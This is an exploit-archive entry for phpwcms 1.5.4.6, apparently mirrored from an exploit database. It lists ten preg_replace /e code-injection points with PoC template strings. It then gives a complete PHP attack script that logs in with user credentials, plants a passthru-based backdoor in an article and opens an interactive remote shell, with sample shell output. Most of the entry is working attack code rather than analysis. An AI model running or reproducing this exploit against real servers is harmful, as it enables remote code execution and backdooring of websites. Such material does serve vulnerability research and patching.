发布 2012-12-17 漏洞条目

PHPWCMS 1.5.4.6 – ‘preg_replace’ Multiple Vulnerabilities

Exploit Source

<?php

phpwcms <= v1.5.4.6 "preg_replace" remote code execution exploit

vendor: http://www.phpwcms.de/

Download: github.com/slackero/phpwcms

by: aeon

Well it appears there are multiple remote code execution bugs that exists in phpwcms for quite some time now. Here I will exploit one of them, but many are available to an attacker. I have only listed 10 as I got bored after that point...

In order to exploit the vulnerabilities, you will need to have access to an authenticated account as either a "backend user", "admin user" or "frontend / backend user". The only account that cannot exploit these vulnerabilities is the "frontend user".

Other vulnerabilities most probably exist in this application but I don't bother auditing for xss/csrf/click jacking etc. I only care about true

remotely exploitable bugs 8-)

Examples:

1. Lines 699-700 of ./include/inc_front/content.func.inc.php:

-------------------------------------------------------------

// list based navigation starting at given level

$replace = 'nav_list_struct($content["struct"],$content["cat_id"],"$1", "$2");';

$content["all"] = preg_replace('/\{NAV_LIST:(\d+):{0,1}(.*){0,1}\}/e', $replace, $content["all"]);

PoC:

{NAV_LIST:1:{${phpinfo()}}}

2. Line 704 of ,.include/inc_front/content.func.inc.php:

--------------------------------------------------------

$content["all"] = preg_replace('/\{NAV_LIST_TOP:(.*?):(.*?)\}/e', 'css_level_list($content["struct"], $content["cat_path"], 0, "$1", 1, "$2")', $content["all"]);

PoC:

{NAV_LIST_TOP:{${phpinfo}}:1}

3. line 708 of ./include/inc_front/content.func.inc.php:

--------------------------------------------------------

$content["all"] = preg_replace('/\{NAV_LIST_CURRENT:(\d+):(.*?):(.*?)\}/e', 'css_level_list($content["struct"],$content["cat_path"],$content["cat_id"],"$2","$1","$3")', $content["all"]);

PoC:

{NAV_LIST_CURRENT:1:{${phpinfo()}}:1}

4. Line 792 of ./include/inc_front/content.func.inc.php:

--------------------------------------------------------

$content["all"] = preg_replace('/\{BROWSE:NEXT:(.*?):(0|1)\}/e','get_index_link_next("$1",$2);',$content["all"]);

PoC:

{BROWSE:NEXT:{${phpinfo()}}:1}

5. Line 793 of ./include/inc_front/content.func.inc.php:

--------------------------------------------------------

$content["all"] = preg_replace('/\{BROWSE:PREV:(.*?):(0|1)\}/e','get_index_link_prev("$1",$2);',$content["all"]);

PoC:

{BROWSE:PREV:{${phpinfo()}}:1}

6. Line 2661 of ./include/inc_front/front.func.inc.php:

-------------------------------------------------------

$text = preg_replace('/\{LIVEDATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$livedate.'")', $text);

PoC:

{LIVEDATE:{${phpinfo()}} lang=ru}

7. Line 2658 of ./include/inc_front/front.func.inc.php:

-------------------------------------------------------

$text = preg_replace('/\{DATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$date.'")', $text);

PoC:

{DATE:{${phpinfo()}} lang=ru}

8. Line 2665 of ./include/inc_front/front.func.inc.php:

-------------------------------------------------------

$text = preg_replace('/\{KILLDATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$killdate.'")', $text);

PoC:

{KILLDATE:{${phpinfo()}} lang=ru}

9. Line 2668 of ./include/inc_front/front.func.inc.php:

-------------------------------------------------------

return preg_replace('/\{NOW:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.now().'")', $text);

PoC:

{NOW:{${phpinfo()}} lang=ru}

10. Line 2674 of ./include/inc_front/front.func.inc.php:

--------------------------------------------------------

$text = preg_replace('/\{'.$rt.':(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$date.'")', $text);

PoC:

{DATE:{${phpinfo()}} lang=ru}

################################################################################################

[aeon@brainbox 0day]$ php ./phpwcmsrce.php 192.168.1.120 /phpwcms-1.5.4.6/ jack password

+-----------------------------------------------------------+

| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon |

+-----------------------------------------------------------+

(+) initiating target interaction

(+) grabbed a valid session

(+) logged into the target application

(+) exploit working! dropping to shell..

phpwcms-shell> id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

phpwcms-shell> uname -a

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux

################################################################################################

error_reporting(0);

set_time_limit(0);

ini_set('default_socket_timeout', 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80))) die("\n(-) No response from {$host}:80\r\n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

print "\n+-----------------------------------------------------------+";

print "\n| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon |";

print "\n+-----------------------------------------------------------+\n";

if ($argc < 5)

{

print "\nUsage......: php $argv[0] <host> <path> <user> <pass>\n";

print "\nExample....: php $argv[0] localhost / admin pass";

print "\nExample....: php $argv[0] localhost /phpwcms-1.5.4.6/ jack black\n";

die();

}

list($host, $path, $user, $pass) = array($argv[1], $argv[2], $argv[3], $argv[4]);

// init session

print "(+) initiating target interaction\r\n";

$packet = "GET {$path}login.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";

$_prefix = preg_match('/Set-Cookie: (.+); path=/', http_send($host, $packet), $m) ? $m[1] : '';

print ($_prefix ? "(+) grabbed a valid session" : "(-) exploit failed! couldnt obtain a session")."\r\n";

$pass = md5($pass);

$postcreds = "json=1&md5pass={$pass}&form_aktion=login&form_loginname={$user}&form_lang=ru&submit_form=Login";

// login

$packet = "POST {$path}login.php?{$phpcode} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: {$_prefix}\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Content-Length: ".strlen($postcreds)."\r\n";

$packet .= "Connection: close\r\n\r\n{$postcreds}";

if (!preg_match('/HTTP\/1.[01] 302 Found/', http_send($host, $packet))) die("\n(-) login failed!\n");

print "(+) logged into the target application\r\n";

$phpkode = '{${error_reporting(0)}}{${print(aeon)}}{${passthru(base64_decode($_SERVER[HTTP_PHPWCMS]))}}{${die}}';

$pat = "{DATE:{$phpkode} lang=en}";

$payload = "article_cid=0&article_title=wtf&set_begin=1&article_begin=2012-12-16+00%3A00%3A00&article_summary=";

$payload .= urlencode($pat)."&article_username=jack&article_aktiv=1&article_public=1&article_update=1&updatesubmit=Create";

// backdooring db content

$packet = "POST {$path}phpwcms.php?do=articles&p=2&s=1&aktion=1&id=0 HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Cookie: {$_prefix}\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

$_aid = preg_match('/&id=([0-9]{0,30})/', http_send($host, $packet), $m) ? $m[1] : '';

print ($_aid ? "(+) exploit working! dropping to shell.." : "(-) exploit failed! couldnt find article id")."\r\n";

// triggering preg_replace code evaluation

$packet = "GET {$path}index.php?aid={$_aid} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Phpwcms: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

if (preg_match('/aeon', http_send($host, $packet))) die("\n(-) opps! hmm, backdoor didnt quite work..\r\n");

while(1)

{

print "\nphpwcms-shell> ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));

preg_match('/aeon(.*)/s', $response, $m) ? print $m[1] : die("\n(-) exploit failed!\n");

}

// @aeon_flux_ | aeon.s.flux(at)gmail(.)com | https://infosecabsurdity.wordpress.com/

作者: aeon
日期: 2012-12-17
类别: webapps
平台: php

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